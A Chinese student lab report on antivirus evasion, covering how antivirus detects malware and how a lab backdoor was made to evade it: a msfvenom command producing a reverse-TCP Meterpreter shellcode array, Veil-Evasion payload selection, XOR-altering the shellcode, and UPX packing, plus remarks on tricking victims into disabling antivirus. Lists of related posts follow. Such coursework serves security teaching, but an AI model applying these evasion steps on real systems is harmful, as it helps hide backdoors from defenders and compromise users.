Exp3 免杀原理与实践 20154320 李超
基础知识
- 如何检测出恶意代码
- 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码
- 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。
- 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
- 什么是免杀及如何进行免杀
- 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。免杀的方法包括:
- 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。
- 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。
- 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验过程
Msfvenom使用编码器

检测上节课利用Msfvenom生成的后门软件,事实证明Metaspliot作为做热门的平台之一,各AV厂商都有所防范。
多编码几次也没有明显效果。
事实上杀毒软件厂商在对特征码进行扫描的同时,也会对编码器所用的解码代码进行检索,像我们之前常用的比较有名的编码器早已经被杀软厂商们加入了黑名单,所以使用该编码器即使编码次数再多也不会起到实质性效果。
采用免杀平台Veil-Evasion生成后门软件
这次使用免杀功能更强一点的一款平台Veil-Evasion

按照其提示,输入list查看payload,选择能实现反弹端口连接的payload(一般看名字就能看出来,
rev_tcp,rev_http结尾的一般都是)这次我们随便选择其中满足我们要求的payload,键入use + name of payload(截图的时候我选择的是ruby/meterpreter/rev_tcp但是生成的时候一直弹出payload有问题,所以实际上使用的是python/meterpreter/rev_tcp)将.exe文件拷贝出来到靶机上,结果被查杀
在网站上进行检测

- veil-evasion平台如此强大?
C语言调用Shellcode
- 用指令会生成一个c语言格式的Shellcode数组。指令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.30 LPORT=443 -f c 用Microsoft Visual Studio 2013或者Visual C++ 6.0进行编译运行生成可执行文件。


- 顺利回连
用VirSCAN.org进行检测

修改shellcode
- 用指令生成的shellcode数组,仍是会被发现,所以我们可以对这个数组做一些变化,比如对奇偶位分别进行异或:
奇数位异或85,即01010101
偶数位异或170,即10101010
将原数组的内容进行改变,这样在杀软检查时被发现的几率就减小了
- kali成功获取权限

UPX加壳

用下面的命令来加压缩壳
# upx 4320-1.exe -o 4320m.exe
·
效果并不是很好
离实战还缺些什么技术或步骤
- 最关键的部分实在传播环节,实验中实在关闭防火墙的情况下将后门程序传至靶机中,现实中一般普通的个人计算机都会打开防火墙,更不用说涉密计算机,也正因如此,确认下载网站的安全性是相当重要的,如果主动选择了忽略就等于让对方轻而易举地突破了这一关键环节。
- 其次,在实验中都是靶机主动完成回连,通过一定的伪装和诱导让被攻击者打开后门程序才是更高级和更现实的方法。
Exp3 免杀原理与实践 20154320 李超的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 遇到的[]bug
"Runtime Error Message:reference binding to null pointer of type 'struct value_type' Last execu ...
- docker学习-lnmp+redis之搭建mysql容器服务
一. 前期准备工作,创建配置文件目录,log文件目录,数据库DATA和WEB站点目录[root@T1 ~]# mkdir -p /lnmp/conf/{mysql,nginx,php} /lnmp/l ...
- Linux 进程同步和通信
为了同步进程所以需要进程通信 管道(有名:文件形式存在,无名:仅限于父子进程间通信) 消息队列 信号量 共享存储 套接字(可用于不同机器)
- Python·——进程1
1.进程背景知识 顾名思义,进程即正在执行的一个过程.进程是对正在运行程序(的一个抽象). 进程的概念起源于操作系统,是操作系统最核心的概念,也是操作系统提供的最古老也是最重要的抽象概念之一.操作系统 ...
- oracle 按表数据新增一行
在功能实现时,能尽量用一个sql语句直接实现业务逻辑的话,就不要去写C#代码,便于维护. 以下sql的逻辑是:给明细表新增一条数据,前提是传入的债券代码存在与债券表,否则不新增.此sql返回受影响行数 ...
- 19-03【golang】strings包
golang的strings包提供了字符串操作的一系列函数.下面做个简单介绍 函数 用法 备注 Compare(a,b sring) 比较两个字符串 Contains(s, substr stri ...
- mysql学习3:mysql之my.cnf详解
mysql之my.cnf详解 本文转自:https://www.cnblogs.com/panwenbin-logs/p/8360703.html 以下是 my.cnf 配置文件参数解释: #*** ...
- python的argpare和click模块详解
一.argparse模块 1.模块说明 # argparse是python的标准库中用来解析命令行参数的模块,用来替代已经过时的optparse模块,argparse能够根据程序中的定义的sys.ar ...
- 切面编程AOP之Castle.Core
1.Nuget中搜索Castle.Core并install 2.创建一个普通的类(注意类中只有标记virtual才能实现拦截 ) public class TestInterceptor { publ ...
- .gitinore配置失效问题
问题:在.gitinore中配置忽略项,配置失效 原因:新增加忽略项已经提交过,在暂存区或分支上被版本控制 解决:删除暂存区或分支上的文件(本地需要使用, 只是不希望这个文件被版本控制), 可以使用 ...